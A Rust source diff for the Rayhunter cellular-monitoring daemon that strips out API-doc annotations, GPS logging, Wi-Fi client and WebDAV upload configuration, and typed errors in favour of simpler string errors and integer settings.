@@ -18,7 +18,7 @@ use tokio::sync::mpsc::Receiver;
|
|||||||
use tokio::sync::{RwLock, RwLockWriteGuard};
|
use tokio::sync::{RwLock, RwLockWriteGuard};
|
||||||
use tokio_util::task::TaskTracker;
|
use tokio_util::task::TaskTracker;
|
||||||
|
|
||||||
use crate::qmdl_store::{FileKind, RecordingStore};
|
use crate::qmdl_store::RecordingStore;
|
||||||
use crate::server::ServerState;
|
use crate::server::ServerState;
|
||||||
|
|
||||||
pub struct AnalysisWriter {
|
pub struct AnalysisWriter {
|
||||||
@@ -77,15 +77,10 @@ impl AnalysisWriter {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// The system status relating to QMDL file analysis
|
|
||||||
#[derive(Debug, Serialize, Clone)]
|
#[derive(Debug, Serialize, Clone)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct AnalysisStatus {
|
pub struct AnalysisStatus {
|
||||||
/// The vector array of queued files
|
|
||||||
queued: Vec<String>,
|
queued: Vec<String>,
|
||||||
/// The file currently being analyzed
|
|
||||||
running: Option<String>,
|
running: Option<String>,
|
||||||
/// The vector array of finished files
|
|
||||||
finished: Vec<String>,
|
finished: Vec<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -145,10 +140,9 @@ async fn perform_analysis(
|
|||||||
.await
|
.await
|
||||||
.map_err(|e| format!("{e:?}"))?;
|
.map_err(|e| format!("{e:?}"))?;
|
||||||
let qmdl_file = qmdl_store
|
let qmdl_file = qmdl_store
|
||||||
.open_file(entry_index, FileKind::Qmdl)
|
.open_entry_qmdl(entry_index)
|
||||||
.await
|
.await
|
||||||
.map_err(|e| format!("{e:?}"))?
|
.map_err(|e| format!("{e:?}"))?;
|
||||||
.ok_or("QMDL file not found")?;
|
|
||||||
|
|
||||||
(analysis_file, qmdl_file)
|
(analysis_file, qmdl_file)
|
||||||
};
|
};
|
||||||
@@ -221,16 +215,6 @@ pub fn run_analysis_thread(
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/analysis",
|
|
||||||
tag = "Recordings",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "Success", body = AnalysisStatus)
|
|
||||||
),
|
|
||||||
summary = "Analysis status",
|
|
||||||
description = "Show analysis status for all QMDL files."
|
|
||||||
))]
|
|
||||||
pub async fn get_analysis_status(
|
pub async fn get_analysis_status(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
) -> Result<Json<AnalysisStatus>, (StatusCode, String)> {
|
) -> Result<Json<AnalysisStatus>, (StatusCode, String)> {
|
||||||
@@ -247,20 +231,6 @@ fn queue_qmdl(name: &str, analysis_status: &mut RwLockWriteGuard<AnalysisStatus>
|
|||||||
true
|
true
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
post,
|
|
||||||
path = "/api/analysis/{name}",
|
|
||||||
tag = "Recordings",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::ACCEPTED, description = "Success"),
|
|
||||||
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Unable to queue analysis file")
|
|
||||||
),
|
|
||||||
params(
|
|
||||||
("name" = String, Path, description = "QMDL file to analyze")
|
|
||||||
),
|
|
||||||
summary = "Start analysis",
|
|
||||||
description = "Begin analysis of QMDL file {name}."
|
|
||||||
))]
|
|
||||||
pub async fn start_analysis(
|
pub async fn start_analysis(
|
||||||
State(state): State<Arc<ServerState>>,
|
State(state): State<Arc<ServerState>>,
|
||||||
Path(qmdl_name): Path<String>,
|
Path(qmdl_name): Path<String>,
|
||||||
|
|||||||
@@ -18,13 +18,9 @@ pub mod wingtech;
|
|||||||
|
|
||||||
const LOW_BATTERY_LEVEL: u8 = 10;
|
const LOW_BATTERY_LEVEL: u8 = 10;
|
||||||
|
|
||||||
/// Device battery information
|
|
||||||
#[derive(Clone, Copy, PartialEq, Debug, Serialize)]
|
#[derive(Clone, Copy, PartialEq, Debug, Serialize)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct BatteryState {
|
pub struct BatteryState {
|
||||||
/// The current level in percentage of the device battery
|
|
||||||
level: u8,
|
level: u8,
|
||||||
/// A boolean indicating whether the battery is currently being charged
|
|
||||||
is_plugged_in: bool,
|
is_plugged_in: bool,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
use std::{env, fs};
|
|
||||||
|
|
||||||
fn main() {
|
|
||||||
let content = rayhunter_daemon::ApiDocs::generate();
|
|
||||||
let mut filename = "openapi.json".to_string();
|
|
||||||
let args: Vec<String> = env::args().collect();
|
|
||||||
if args.len() > 1 {
|
|
||||||
filename = args[1].to_string();
|
|
||||||
}
|
|
||||||
|
|
||||||
fs::write(filename, content).unwrap();
|
|
||||||
}
|
|
||||||
+7
-172
@@ -1,126 +1,27 @@
|
|||||||
use log::warn;
|
use log::warn;
|
||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
use serde_repr::{Deserialize_repr, Serialize_repr};
|
|
||||||
|
|
||||||
use rayhunter::Device;
|
use rayhunter::Device;
|
||||||
use rayhunter::analysis::analyzer::AnalyzerConfig;
|
use rayhunter::analysis::analyzer::AnalyzerConfig;
|
||||||
|
|
||||||
use crate::error::RayhunterError;
|
use crate::error::RayhunterError;
|
||||||
|
|
||||||
#[repr(u8)]
|
|
||||||
#[derive(Debug, Clone, Copy, PartialEq, Serialize_repr, Deserialize_repr)]
|
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub enum GpsMode {
|
|
||||||
Disabled = 0,
|
|
||||||
Fixed = 1,
|
|
||||||
Api = 2,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(u8)]
|
|
||||||
#[derive(Debug, Clone, Copy, PartialEq, Serialize_repr, Deserialize_repr)]
|
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub enum UiLevel {
|
|
||||||
Invisible = 0,
|
|
||||||
Subtle = 1,
|
|
||||||
Demo = 2,
|
|
||||||
EffLogo = 3,
|
|
||||||
HighVisibility = 4,
|
|
||||||
TransFlag = 128,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(u8)]
|
|
||||||
#[derive(Debug, Clone, Copy, PartialEq, Serialize_repr, Deserialize_repr)]
|
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub enum KeyInputMode {
|
|
||||||
Disabled = 0,
|
|
||||||
DoubleTapPower = 1,
|
|
||||||
}
|
|
||||||
use crate::notifications::NotificationType;
|
use crate::notifications::NotificationType;
|
||||||
|
|
||||||
/// The structure of a valid rayhunter configuration
|
|
||||||
#[derive(Debug, Clone, Deserialize, Serialize)]
|
#[derive(Debug, Clone, Deserialize, Serialize)]
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct Config {
|
pub struct Config {
|
||||||
/// Path to store QMDL files
|
|
||||||
pub qmdl_store_path: String,
|
pub qmdl_store_path: String,
|
||||||
/// Listening port
|
|
||||||
pub port: u16,
|
pub port: u16,
|
||||||
/// Debug mode
|
|
||||||
pub debug_mode: bool,
|
pub debug_mode: bool,
|
||||||
/// Internal device name
|
|
||||||
pub device: Device,
|
pub device: Device,
|
||||||
/// UI level
|
pub ui_level: u8,
|
||||||
pub ui_level: UiLevel,
|
|
||||||
/// Colorblind mode
|
|
||||||
pub colorblind_mode: bool,
|
pub colorblind_mode: bool,
|
||||||
/// Key input mode
|
pub key_input_mode: u8,
|
||||||
pub key_input_mode: KeyInputMode,
|
|
||||||
/// ntfy.sh URL
|
|
||||||
pub ntfy_url: Option<String>,
|
pub ntfy_url: Option<String>,
|
||||||
/// Vector containing the types of enabled notifications
|
|
||||||
pub enabled_notifications: Vec<NotificationType>,
|
pub enabled_notifications: Vec<NotificationType>,
|
||||||
/// Whether Rayhunter should periodically check GitHub for new releases
|
|
||||||
pub auto_check_updates: bool,
|
|
||||||
/// Vector containing the list of enabled analyzers
|
|
||||||
pub analyzers: AnalyzerConfig,
|
pub analyzers: AnalyzerConfig,
|
||||||
/// Minimum disk space required to start a recording
|
|
||||||
pub min_space_to_start_recording_mb: u64,
|
pub min_space_to_start_recording_mb: u64,
|
||||||
/// Minimum disk space required to continue a recording
|
|
||||||
pub min_space_to_continue_recording_mb: u64,
|
pub min_space_to_continue_recording_mb: u64,
|
||||||
/// GPS mode
|
|
||||||
pub gps_mode: GpsMode,
|
|
||||||
/// Fixed latitude used when gps_mode=1
|
|
||||||
pub gps_fixed_latitude: Option<f64>,
|
|
||||||
/// Fixed longitude used when gps_mode=1
|
|
||||||
pub gps_fixed_longitude: Option<f64>,
|
|
||||||
/// Wifi client SSID
|
|
||||||
pub wifi_ssid: Option<String>,
|
|
||||||
/// Wifi client password
|
|
||||||
pub wifi_password: Option<String>,
|
|
||||||
/// Wifi security type (wpa_psk or sae)
|
|
||||||
pub wifi_security: Option<wifi_station::SecurityType>,
|
|
||||||
/// Wifi client mode
|
|
||||||
pub wifi_enabled: bool,
|
|
||||||
/// Vector containing wifi client DNS servers
|
|
||||||
pub dns_servers: Option<Vec<String>>,
|
|
||||||
/// WebDAV upload configuration. The upload worker runs whenever `webdav.url` is non-empty.
|
|
||||||
pub webdav: WebdavConfig,
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Configuration for uploading finished QMDL recordings to a WebDAV server.
|
|
||||||
#[derive(Debug, Clone, Deserialize, Serialize)]
|
|
||||||
#[serde(default)]
|
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct WebdavConfig {
|
|
||||||
/// WebDAV server base URL, e.g. "https://example.com/remote.php/files/untitaker/my-subfolder/"
|
|
||||||
pub url: String,
|
|
||||||
/// Optional username for HTTP Basic auth
|
|
||||||
pub username: Option<String>,
|
|
||||||
/// Optional password for HTTP Basic auth
|
|
||||||
pub password: Option<String>,
|
|
||||||
/// Timeout (in seconds) for each upload request
|
|
||||||
pub upload_timeout_secs: u64,
|
|
||||||
/// How often (in seconds) the worker scans for entries to upload
|
|
||||||
pub poll_interval_secs: u64,
|
|
||||||
/// Minimum age (in seconds) an entry must have before it becomes eligible for upload
|
|
||||||
pub min_age_secs: i64,
|
|
||||||
/// Delete the file locally after a successful upload
|
|
||||||
pub delete_on_upload: bool,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl Default for WebdavConfig {
|
|
||||||
fn default() -> Self {
|
|
||||||
WebdavConfig {
|
|
||||||
url: String::new(),
|
|
||||||
username: None,
|
|
||||||
password: None,
|
|
||||||
upload_timeout_secs: 300,
|
|
||||||
poll_interval_secs: 3600,
|
|
||||||
min_age_secs: 86400,
|
|
||||||
delete_on_upload: false,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Default for Config {
|
impl Default for Config {
|
||||||
@@ -130,94 +31,28 @@ impl Default for Config {
|
|||||||
port: 8080,
|
port: 8080,
|
||||||
debug_mode: false,
|
debug_mode: false,
|
||||||
device: Device::Orbic,
|
device: Device::Orbic,
|
||||||
ui_level: UiLevel::Subtle,
|
ui_level: 1,
|
||||||
colorblind_mode: false,
|
colorblind_mode: false,
|
||||||
key_input_mode: KeyInputMode::Disabled,
|
key_input_mode: 0,
|
||||||
analyzers: AnalyzerConfig::default(),
|
analyzers: AnalyzerConfig::default(),
|
||||||
ntfy_url: None,
|
ntfy_url: None,
|
||||||
enabled_notifications: vec![NotificationType::Warning, NotificationType::LowBattery],
|
enabled_notifications: vec![NotificationType::Warning, NotificationType::LowBattery],
|
||||||
auto_check_updates: true,
|
|
||||||
min_space_to_start_recording_mb: 1,
|
min_space_to_start_recording_mb: 1,
|
||||||
min_space_to_continue_recording_mb: 1,
|
min_space_to_continue_recording_mb: 1,
|
||||||
gps_mode: GpsMode::Disabled,
|
|
||||||
gps_fixed_latitude: None,
|
|
||||||
gps_fixed_longitude: None,
|
|
||||||
wifi_ssid: None,
|
|
||||||
wifi_password: None,
|
|
||||||
wifi_security: None,
|
|
||||||
wifi_enabled: false,
|
|
||||||
dns_servers: None,
|
|
||||||
webdav: WebdavConfig::default(),
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Config {
|
|
||||||
pub fn wifi_config(&self) -> wifi_station::WifiConfig {
|
|
||||||
let (wpa_bin, hostapd_conf, ctrl_interface) = match self.device {
|
|
||||||
Device::Tmobile | Device::Wingtech => (
|
|
||||||
Some("/usr/sbin/wpa_supplicant".into()),
|
|
||||||
Some("/data/configs/hostapd.conf".into()),
|
|
||||||
None,
|
|
||||||
),
|
|
||||||
Device::Uz801 => (
|
|
||||||
Some("/system/bin/wpa_supplicant".into()),
|
|
||||||
Some("/data/misc/wifi/hostapd.conf".into()),
|
|
||||||
Some("/data/misc/wifi/sockets".into()),
|
|
||||||
),
|
|
||||||
_ => (None, None, None),
|
|
||||||
};
|
|
||||||
wifi_station::WifiConfig {
|
|
||||||
wifi_enabled: self.wifi_enabled,
|
|
||||||
dns_servers: self.dns_servers.clone(),
|
|
||||||
wifi_ssid: self.wifi_ssid.clone(),
|
|
||||||
wifi_password: self.wifi_password.clone(),
|
|
||||||
security_type: self.wifi_security,
|
|
||||||
wpa_supplicant_bin: wpa_bin.or_else(|| resolve_bin("wpa_supplicant")),
|
|
||||||
hostapd_conf,
|
|
||||||
ctrl_interface,
|
|
||||||
udhcpc_hook_path: Some("/data/rayhunter/udhcpc-hook.sh".into()),
|
|
||||||
dhcp_lease_path: Some("/data/rayhunter/dhcp_lease".into()),
|
|
||||||
wpa_conf_path: Some("/data/rayhunter/wpa_sta.conf".into()),
|
|
||||||
iw_bin: resolve_bin("iw"),
|
|
||||||
udhcpc_bin: resolve_bin("udhcpc"),
|
|
||||||
crash_log_dir: Some("/data/rayhunter/crash-logs".into()),
|
|
||||||
wakelock_name: Some("rayhunter".into()),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fn resolve_bin(name: &str) -> Option<String> {
|
|
||||||
let local = format!("/data/rayhunter/bin/{name}");
|
|
||||||
if std::path::Path::new(&local).exists() {
|
|
||||||
return Some(local);
|
|
||||||
}
|
|
||||||
None
|
|
||||||
}
|
|
||||||
|
|
||||||
pub async fn parse_config<P>(path: P) -> Result<Config, RayhunterError>
|
pub async fn parse_config<P>(path: P) -> Result<Config, RayhunterError>
|
||||||
where
|
where
|
||||||
P: AsRef<std::path::Path>,
|
P: AsRef<std::path::Path>,
|
||||||
{
|
{
|
||||||
let mut config = if let Ok(config_file) = tokio::fs::read_to_string(&path).await {
|
if let Ok(config_file) = tokio::fs::read_to_string(&path).await {
|
||||||
toml::from_str(&config_file).map_err(RayhunterError::ConfigFileParsingError)?
|
Ok(toml::from_str(&config_file).map_err(RayhunterError::ConfigFileParsingError)?)
|
||||||
} else {
|
} else {
|
||||||
warn!("unable to read config file, using default config");
|
warn!("unable to read config file, using default config");
|
||||||
Config::default()
|
Ok(Config::default())
|
||||||
};
|
|
||||||
|
|
||||||
if let Some((ssid, security)) =
|
|
||||||
wifi_station::read_network_from_wpa_conf("/data/rayhunter/wpa_sta.conf")
|
|
||||||
{
|
|
||||||
config.wifi_ssid = Some(ssid);
|
|
||||||
config.wifi_security = Some(security);
|
|
||||||
} else {
|
|
||||||
config.wifi_ssid = None;
|
|
||||||
config.wifi_security = None;
|
|
||||||
}
|
}
|
||||||
config.wifi_password = None;
|
|
||||||
|
|
||||||
Ok(config)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub struct Args {
|
pub struct Args {
|
||||||
|
|||||||
@@ -1,23 +0,0 @@
|
|||||||
use std::sync::Once;
|
|
||||||
|
|
||||||
static INSTALL: Once = Once::new();
|
|
||||||
|
|
||||||
/// Install the default rustls `CryptoProvider` for the current process.
|
|
||||||
///
|
|
||||||
/// This is idempotent so that it's easier to use in tests, but also panics loudly if the
|
|
||||||
/// initialization fails.
|
|
||||||
pub fn install_default() {
|
|
||||||
// Crypto providers fail if they get initialized multiple times, but we don't want to just
|
|
||||||
// ignore all errors, hence the use of once.
|
|
||||||
INSTALL.call_once(|| {
|
|
||||||
#[cfg(feature = "rustcrypto-tls")]
|
|
||||||
rustls_rustcrypto::provider()
|
|
||||||
.install_default()
|
|
||||||
.expect("failed to install rustcrypto crypto provider");
|
|
||||||
|
|
||||||
#[cfg(feature = "pq-tls")]
|
|
||||||
rustls_post_quantum::provider()
|
|
||||||
.install_default()
|
|
||||||
.expect("failed to install aws-lc-rs post-quantum crypto provider");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
+47
-213
@@ -10,28 +10,22 @@ use axum::http::header::CONTENT_TYPE;
|
|||||||
use axum::response::{IntoResponse, Response};
|
use axum::response::{IntoResponse, Response};
|
||||||
use futures::{StreamExt, TryStreamExt, future};
|
use futures::{StreamExt, TryStreamExt, future};
|
||||||
use log::{debug, error, info, warn};
|
use log::{debug, error, info, warn};
|
||||||
use rayhunter::Device;
|
|
||||||
use tokio::fs::File;
|
use tokio::fs::File;
|
||||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
|
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||||
|
|
||||||
use crate::gps::GpsRecord;
|
|
||||||
use tokio::sync::mpsc::{Receiver, Sender};
|
use tokio::sync::mpsc::{Receiver, Sender};
|
||||||
use tokio::sync::{RwLock, oneshot};
|
use tokio::sync::{RwLock, oneshot};
|
||||||
use tokio_stream::wrappers::LinesStream;
|
use tokio_stream::wrappers::LinesStream;
|
||||||
use tokio_util::task::TaskTracker;
|
use tokio_util::task::TaskTracker;
|
||||||
|
|
||||||
#[cfg(feature = "apidocs")]
|
|
||||||
use rayhunter::analysis::analyzer::ReportMetadata;
|
|
||||||
use rayhunter::analysis::analyzer::{AnalysisLineNormalizer, AnalyzerConfig, EventType};
|
use rayhunter::analysis::analyzer::{AnalysisLineNormalizer, AnalyzerConfig, EventType};
|
||||||
use rayhunter::diag::{DataType, Message, MessagesContainer};
|
use rayhunter::diag::{DataType, MessagesContainer};
|
||||||
use rayhunter::diag_device::DiagDevice;
|
use rayhunter::diag_device::DiagDevice;
|
||||||
use rayhunter::qmdl::QmdlWriter;
|
use rayhunter::qmdl::QmdlWriter;
|
||||||
|
|
||||||
use crate::analysis::{AnalysisCtrlMessage, AnalysisWriter};
|
use crate::analysis::{AnalysisCtrlMessage, AnalysisWriter};
|
||||||
use crate::config::GpsMode;
|
|
||||||
use crate::display;
|
use crate::display;
|
||||||
use crate::notifications::{Notification, NotificationType};
|
use crate::notifications::{Notification, NotificationType};
|
||||||
use crate::qmdl_store::{FileKind, RecordingStore, RecordingStoreError};
|
use crate::qmdl_store::{RecordingStore, RecordingStoreError};
|
||||||
use crate::server::ServerState;
|
use crate::server::ServerState;
|
||||||
use crate::stats::DiskStats;
|
use crate::stats::DiskStats;
|
||||||
|
|
||||||
@@ -40,7 +34,7 @@ const DISK_CHECK_BYTES_INTERVAL: usize = 256 * 1024;
|
|||||||
pub enum DiagDeviceCtrlMessage {
|
pub enum DiagDeviceCtrlMessage {
|
||||||
StopRecording,
|
StopRecording,
|
||||||
StartRecording {
|
StartRecording {
|
||||||
response_tx: Option<oneshot::Sender<Result<(), RecordingStoreError>>>,
|
response_tx: Option<oneshot::Sender<Result<(), String>>>,
|
||||||
},
|
},
|
||||||
DeleteEntry {
|
DeleteEntry {
|
||||||
name: String,
|
name: String,
|
||||||
@@ -49,10 +43,6 @@ pub enum DiagDeviceCtrlMessage {
|
|||||||
DeleteAllEntries {
|
DeleteAllEntries {
|
||||||
response_tx: oneshot::Sender<Result<(), RecordingStoreError>>,
|
response_tx: oneshot::Sender<Result<(), RecordingStoreError>>,
|
||||||
},
|
},
|
||||||
GpsUpdate {
|
|
||||||
lat: f64,
|
|
||||||
lon: f64,
|
|
||||||
},
|
|
||||||
Exit,
|
Exit,
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -63,13 +53,10 @@ pub struct DiagTask {
|
|||||||
notification_channel: tokio::sync::mpsc::Sender<Notification>,
|
notification_channel: tokio::sync::mpsc::Sender<Notification>,
|
||||||
min_space_to_start_mb: u64,
|
min_space_to_start_mb: u64,
|
||||||
min_space_to_continue_mb: u64,
|
min_space_to_continue_mb: u64,
|
||||||
gps_mode: GpsMode,
|
|
||||||
gps_fixed_coords: Option<(f64, f64)>,
|
|
||||||
state: DiagState,
|
state: DiagState,
|
||||||
max_type_seen: EventType,
|
max_type_seen: EventType,
|
||||||
bytes_since_space_check: usize,
|
bytes_since_space_check: usize,
|
||||||
low_space_warned: bool,
|
low_space_warned: bool,
|
||||||
latest_packet_timestamp: Option<i64>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
enum DiagState {
|
enum DiagState {
|
||||||
@@ -107,7 +94,6 @@ fn check_disk_space(path: &std::path::Path, warning_mb: u64, critical_mb: u64) -
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl DiagTask {
|
impl DiagTask {
|
||||||
#[allow(clippy::too_many_arguments)]
|
|
||||||
fn new(
|
fn new(
|
||||||
ui_update_sender: Sender<display::DisplayState>,
|
ui_update_sender: Sender<display::DisplayState>,
|
||||||
analysis_sender: Sender<AnalysisCtrlMessage>,
|
analysis_sender: Sender<AnalysisCtrlMessage>,
|
||||||
@@ -115,8 +101,6 @@ impl DiagTask {
|
|||||||
notification_channel: tokio::sync::mpsc::Sender<Notification>,
|
notification_channel: tokio::sync::mpsc::Sender<Notification>,
|
||||||
min_space_to_start_mb: u64,
|
min_space_to_start_mb: u64,
|
||||||
min_space_to_continue_mb: u64,
|
min_space_to_continue_mb: u64,
|
||||||
gps_mode: GpsMode,
|
|
||||||
gps_fixed_coords: Option<(f64, f64)>,
|
|
||||||
) -> Self {
|
) -> Self {
|
||||||
Self {
|
Self {
|
||||||
ui_update_sender,
|
ui_update_sender,
|
||||||
@@ -125,18 +109,15 @@ impl DiagTask {
|
|||||||
notification_channel,
|
notification_channel,
|
||||||
min_space_to_start_mb,
|
min_space_to_start_mb,
|
||||||
min_space_to_continue_mb,
|
min_space_to_continue_mb,
|
||||||
gps_mode,
|
|
||||||
gps_fixed_coords,
|
|
||||||
state: DiagState::Stopped,
|
state: DiagState::Stopped,
|
||||||
max_type_seen: EventType::Informational,
|
max_type_seen: EventType::Informational,
|
||||||
bytes_since_space_check: 0,
|
bytes_since_space_check: 0,
|
||||||
low_space_warned: false,
|
low_space_warned: false,
|
||||||
latest_packet_timestamp: None,
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Start recording, returning an error if disk space is too low.
|
/// Start recording, returning an error if disk space is too low.
|
||||||
async fn start(&mut self, qmdl_store: &mut RecordingStore) -> Result<(), RecordingStoreError> {
|
async fn start(&mut self, qmdl_store: &mut RecordingStore) -> Result<(), String> {
|
||||||
self.max_type_seen = EventType::Informational;
|
self.max_type_seen = EventType::Informational;
|
||||||
self.bytes_since_space_check = 0;
|
self.bytes_since_space_check = 0;
|
||||||
self.low_space_warned = false;
|
self.low_space_warned = false;
|
||||||
@@ -147,10 +128,12 @@ impl DiagTask {
|
|||||||
self.min_space_to_continue_mb,
|
self.min_space_to_continue_mb,
|
||||||
) {
|
) {
|
||||||
DiskSpaceCheck::Critical(mb) | DiskSpaceCheck::Warning(mb) => {
|
DiskSpaceCheck::Critical(mb) | DiskSpaceCheck::Warning(mb) => {
|
||||||
return Err(RecordingStoreError::InsufficientDiskSpace(
|
let msg = format!(
|
||||||
mb,
|
"Insufficient disk space: {}MB available, {}MB required",
|
||||||
self.min_space_to_start_mb,
|
mb, self.min_space_to_start_mb
|
||||||
));
|
);
|
||||||
|
error!("{msg}");
|
||||||
|
return Err(msg);
|
||||||
}
|
}
|
||||||
DiskSpaceCheck::Ok(mb) => {
|
DiskSpaceCheck::Ok(mb) => {
|
||||||
info!("Starting recording with {}MB disk space available", mb);
|
info!("Starting recording with {}MB disk space available", mb);
|
||||||
@@ -158,45 +141,29 @@ impl DiagTask {
|
|||||||
DiskSpaceCheck::Failed => {}
|
DiskSpaceCheck::Failed => {}
|
||||||
}
|
}
|
||||||
|
|
||||||
let (qmdl_file, analysis_file) = qmdl_store.new_entry(self.gps_mode).await?;
|
let (qmdl_file, analysis_file) = match qmdl_store.new_entry().await {
|
||||||
|
Ok(files) => files,
|
||||||
// For fixed-mode sessions, write the configured coordinates to the storage
|
Err(e) => {
|
||||||
// immediately so the per-session GPS is stored durably and isn't affected
|
let msg = format!("failed creating QMDL file entry: {e}");
|
||||||
// by future config changes or GPS API calls.
|
error!("{msg}");
|
||||||
if self.gps_mode == GpsMode::Fixed
|
return Err(msg);
|
||||||
&& let Some((lat, lon)) = self.gps_fixed_coords
|
}
|
||||||
&& let Some((entry_idx, _)) = qmdl_store.get_current_entry()
|
};
|
||||||
{
|
|
||||||
let mut gps_file = qmdl_store
|
|
||||||
.open_entry_gps_for_append(entry_idx)
|
|
||||||
.await?
|
|
||||||
.ok_or(RecordingStoreError::GpsStorageNotFound)?;
|
|
||||||
|
|
||||||
let record = GpsRecord {
|
|
||||||
latest_packet_timestamp: None,
|
|
||||||
system_time: rayhunter::clock::get_adjusted_now().timestamp(),
|
|
||||||
lat,
|
|
||||||
lon,
|
|
||||||
};
|
|
||||||
let mut json = serde_json::to_vec(&record)?;
|
|
||||||
json.push(b'\n');
|
|
||||||
gps_file
|
|
||||||
.write_all(&json)
|
|
||||||
.await
|
|
||||||
.map_err(RecordingStoreError::WriteFileError)?;
|
|
||||||
}
|
|
||||||
|
|
||||||
self.stop_current_recording().await;
|
self.stop_current_recording().await;
|
||||||
let qmdl_writer = QmdlWriter::new(qmdl_file);
|
let qmdl_writer = QmdlWriter::new(qmdl_file);
|
||||||
let analysis_writer = AnalysisWriter::new(analysis_file, &self.analyzer_config)
|
let analysis_writer = match AnalysisWriter::new(analysis_file, &self.analyzer_config).await
|
||||||
.await
|
{
|
||||||
.map_err(RecordingStoreError::WriteFileError)?;
|
Ok(writer) => Box::new(writer),
|
||||||
|
Err(e) => {
|
||||||
|
let msg = format!("failed to create analysis writer: {e}");
|
||||||
|
error!("{msg}");
|
||||||
|
return Err(msg);
|
||||||
|
}
|
||||||
|
};
|
||||||
self.state = DiagState::Recording {
|
self.state = DiagState::Recording {
|
||||||
qmdl_writer,
|
qmdl_writer,
|
||||||
analysis_writer: Box::new(analysis_writer),
|
analysis_writer,
|
||||||
};
|
};
|
||||||
|
|
||||||
if let Err(e) = self
|
if let Err(e) = self
|
||||||
.ui_update_sender
|
.ui_update_sender
|
||||||
.send(display::DisplayState::Recording)
|
.send(display::DisplayState::Recording)
|
||||||
@@ -264,38 +231,6 @@ impl DiagTask {
|
|||||||
res
|
res
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn handle_gps_update(&mut self, qmdl_store: &RecordingStore, lat: f64, lon: f64) {
|
|
||||||
let Some((entry_idx, _)) = qmdl_store.get_current_entry() else {
|
|
||||||
info!("GPS update received but no recording active, not writing to storage");
|
|
||||||
return;
|
|
||||||
};
|
|
||||||
let mut file = match qmdl_store.open_entry_gps_for_append(entry_idx).await {
|
|
||||||
Ok(Some(f)) => f,
|
|
||||||
Ok(None) => {
|
|
||||||
error!("GPS storage not found, cannot write GPS record");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
error!("failed to open GPS storage: {e}");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
let record = GpsRecord {
|
|
||||||
latest_packet_timestamp: self.latest_packet_timestamp,
|
|
||||||
system_time: rayhunter::clock::get_adjusted_now().timestamp(),
|
|
||||||
lat,
|
|
||||||
lon,
|
|
||||||
};
|
|
||||||
let Ok(mut json) = serde_json::to_vec(&record) else {
|
|
||||||
error!("failed to serialize GPS record");
|
|
||||||
return;
|
|
||||||
};
|
|
||||||
json.push(b'\n');
|
|
||||||
if let Err(e) = file.write_all(&json).await {
|
|
||||||
error!("failed to write GPS record to storage: {e}");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn stop_current_recording(&mut self) {
|
async fn stop_current_recording(&mut self) {
|
||||||
let mut state = DiagState::Stopped;
|
let mut state = DiagState::Stopped;
|
||||||
std::mem::swap(&mut self.state, &mut state);
|
std::mem::swap(&mut self.state, &mut state);
|
||||||
@@ -352,17 +287,19 @@ impl DiagTask {
|
|||||||
self.stop(qmdl_store, Some(reason)).await;
|
self.stop(qmdl_store, Some(reason)).await;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
DiskSpaceCheck::Warning(mb) if !self.low_space_warned => {
|
DiskSpaceCheck::Warning(mb) => {
|
||||||
self.low_space_warned = true;
|
if !self.low_space_warned {
|
||||||
warn!("Disk space low: {}MB remaining", mb);
|
self.low_space_warned = true;
|
||||||
self.notification_channel
|
warn!("Disk space low: {}MB remaining", mb);
|
||||||
.send(Notification::new(
|
self.notification_channel
|
||||||
NotificationType::Warning,
|
.send(Notification::new(
|
||||||
format!("Disk space low: {}MB free", mb),
|
NotificationType::Warning,
|
||||||
Some(Duration::from_secs(30)),
|
format!("Disk space low: {}MB free", mb),
|
||||||
))
|
Some(Duration::from_secs(30)),
|
||||||
.await
|
))
|
||||||
.ok();
|
.await
|
||||||
|
.ok();
|
